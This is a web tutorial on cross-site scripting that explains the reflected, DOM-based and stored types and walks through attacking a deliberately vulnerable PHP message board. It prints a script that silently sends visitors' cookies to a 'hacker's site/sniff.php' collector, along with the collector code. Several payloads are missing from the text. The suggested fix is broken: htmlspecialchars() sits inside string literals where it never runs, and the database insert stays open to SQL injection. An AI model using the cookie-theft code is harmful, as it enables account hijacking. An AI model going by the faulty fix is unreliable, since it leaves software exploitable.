Cross Site Scripting (XSS)

Cross Site Scripting (XSS) is one of the most common application (WEB Browser) layer hacking techniques. XSS is a type of computer security exploit where information from one context, where it is not trusted, can be inserted into another context, where it is. From the trusted context, an attack can be launched. Hackers could steal users data, passwords and any other information. Note that although cross site scripting is also sometimes abbreviated "CSS", it has nothing to do with the Cascading Style Sheets technology that is more commonly called CSS.

Attackers try to inject JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable application to fool a user in order to gather data from them. Everything from account hijacking, cookie theft/poisoning, changing of user settings, or false advertising is possible. New malicious uses are being found every day for XSS attacks. Cross Site Scripting may be not critical but may be quite critical when vulnerable WEB site stores valuable information in the Cookies files.

Non-persistent or reflected

These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classical example of this is a searching pages: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.

At first blush, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case, many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to Cross Site Scripting (XSS) holes in general (even though this is only one type of Cross Site Scripting) and there is often disagreement in the security community as to the importance of CSS vulnerabilities.

Since Cross Site Scripting holes are different in how they are exploited, some testing will need to be done in order to make the output believable. By inserting code into the script, its output will be changed and the page may appear broken. (The end result is crucial and the attacker will have to do some touching up in the code to make the page appear normal.) Next you will need to insert some Javascript (or other client side scripting language) into the URL pointing to the part of the site, which is vulnerable.

DOM-based or Local cross-site scripting

The problem exists within a page's client-side script itself. For instance, if a piece of JavaScript accesses a URL request parameter and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS hole will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.

In practice, exploiting such a hole would be very similar to the exploit of reflected vulnerabilities (see above), except in one very important situation. Because of the way Internet Explorer treats client-side script in objects located in the "local zone" (for instance, on the client's local hard drive), an Cross Site Scripting hole of this kind in a local page can result in remote execution vulnerabilities. For example, if an attacker hosts a malicious website, which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.

Stored or persistent

This vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entities. A classic example of this is with online message boards, where users are allowed to post HTML formatted messages for other users to read.

These vulnerabilities are usually more significant than other types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering or the web application could even be infected by a cross-site scripting virus.

The methods of injection can vary a great deal, and an attacker may not need to use the web application itself to exploit such a hole. Any data received by the web application (via email, system logs, etc) that can be controlled by an attacker must be encoded prior to re-display in a dynamic page, else an Cross Site Scripting (XSS)vulnerability of this type could result.

How to use vulnerabilities

Next code show vulnerable code in PHP program (file xss.php):

<HTML>
<HEAD>
<TITLE>XSS test</TITLE>

</HEAD>
<BODY>
<center><h3>XSS test</h3></center>

<hr>
<form name="messageadd" action="xss.php" method="get">
Name: <input name="username" size=50>

<BR>Message: <textarea cols="65" name="message" rows="10" wrap="virtual">
</textarea>
<BR><center><input type="submit" value="Send"></center>
</form>

<hr>
<?
 // Connect to database
 mysql_connect("localhost", "root", "test") 
  or die ("Can not connect to server");
mysql_select_db("minib") 
  or die ("Can not select database");

 // Add message
 if (isset($_GET['username']))
 {
  $username=$_GET['username'];
  $message=$_GET['message'];
  $result=mysql_query("INSERT INTO minibbtable_posts 
    VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)");
 }

 // Show messages from database
 $result=mysql_query("SELECT poster_name, post_text FROM minibbtable_posts");
 if (mysql_num_rows($result)>0)
 {
  print("<table width=100% border=1>");
  print("<tr bgcolor=\"#AA1B1B\">");
  print("<td><font color=\"#FFFFFF\">User</font></td>");
  print("<td><font color=\"#FFFFFF\">Message</font></td>");
  print("</tr><tr>");

  // Show result
  while ($line=mysql_fetch_array($result, MYSQL_ASSOC))
  {
   print("<tr>");
   print("<td>$line[poster_name]</td>");
   print("<td>$line[post_text]</td>");
   print("</tr>");
  }
  print("<table>");
 }
?>

</BODY>
</HTML>

After you have found an Cross Site Scripting (XSS) hole in a web application on a website, check to see if it issues cookies. If any part of the website uses cookies, then it is possible to steal them from its users.

Lets add next message:

If you add this message to database, when you reload page dialog window will be displayed with 'This is a test' message.

Lets try to add next message:

This JavaScript code will readdress any user to www.cydsoft.com www.cydsoft.com, when user load xss.php.

Lets steal Cookies file. To do this you must add next message:

This code call hacker's script http://hacker's site/sniff.php and pass to this script Cookie file. If cookie contains passwords, hacker will be able hack your site.

sniff.php can be next:

<?
 $f = fopen("snif.txt", "a");
 fwrite($f, $REQUEST_URI);
 fclose($f);
 print("OK");
?>

sniff.php save all data in URL to snif.txt on hacker's server.

Hacker can add JavaScript to send cookies invisibly. Next code will pass cookies to hacker's program but will not shown on WEB page:

<script>
img = new Image();
img.src = "http://hacker's site/sniff.php?"+
  document.cookie;

</script>

Avoiding XSS vulnerabilities

Do not save any password to automatically logon. You have to type you user name and password any time, when you visit forums or any other password protected web sites.

The easiest way to eliminate XSS vulnerabilities is to encode (HTML quote) all user-supplied HTML special characters, thereby preventing them from being interpreted as HTML. Unfortunately, users of many kinds of web applications (commonly forums and webmail) wish to use some of the features HTML provides. There are some web applications, which attempt to identify all "evil" HTML, and neutralize it, either by removing it or encoding it. These algorithms usually end up being incredibly complex, and for this reason it is almost impossible to know for sure if all possible injections are eliminated. This is because JavaScript has been so tightly integrated into HTML syntax, in addition to the fact that browser and web technologies are still heavily under development. In order to eliminate certain injections, any server-side algorithm must either reject broken HTML, understand how every browser will interpret broken HTML, or (preferably) fix the HTML to be well-formed.

For PHP programmers: Escape all HTML output with htmlentities( ) or htmlspecialchars(). Next code remove HTML special characters before save to database:

$username= htmlspecialchars($_GET['username']);
$message= htmlspecialchars($_GET['message']);
$result=mysql_query("INSERT INTO minibbtable_posts 
 VALUES(NULL, 1, 1, 1, '$username', '$message', 1, 1, 1)");

Next code remove HTML special characters before show data from database:

print("<td> htmlspecialchars($line[poster_name]) </td>");
print("<td> htmlspecialchars($line[post_text]) </td>");

htmlspecialchars

htmlspecialchars - Convert special characters to HTML entities.

string htmlspecialchars ( string string [, int quote_style [, string charset]] )

Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with some of these conversions made; the translations made are those most useful for everyday web programming. If you require all HTML character entities to be translated, use htmlentities() instead.

This function is useful in preventing user-supplied text from containing HTML markup, such as in a message board or guest book application. The optional second argument, quote_style, tells the function what to do with single and double quote characters. The default mode, ENT_COMPAT, is the backwards compatible mode which only translates the double-quote character and leaves the single-quote untranslated. If ENT_QUOTES is set, both single and double quotes are translated and if ENT_NOQUOTES is set neither single nor double quotes are translated.

[More info about htmlspecialchars]

htmlentities

htmlentities -- Convert all applicable characters to HTML entities

string htmlentities ( string string [, int quote_style [, string charset]] )

This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.

Like htmlspecialchars(), the optional second quote_style parameter lets you define what will be done with 'single' and "double" quotes. It takes on one of three constants with the default being ENT_COMPAT:

[More info about htmlentities]

Cross Site Scripting (XSS) is one of the most common application layer hacking techniques. One can even even perfrom this method in business mobile phones with the right applications and options. XSS is a type of computer security exploit where information from one context, where it is not trusted, can be inserted into another context, where it is. From the trusted context, an attack can be launched. Note that although cross site scripting is also sometimes abbreviated "CSS", it has nothing to do with the Cascading Style Sheets technology that is more commonly called CSS.

Save your comment

Can you use BBCode? You can use [quote] to quote, [b] and [i] for text decoration. You can't use any other codes.

Low cost auto insurance quotes

Your name:
Comment:
Protection code: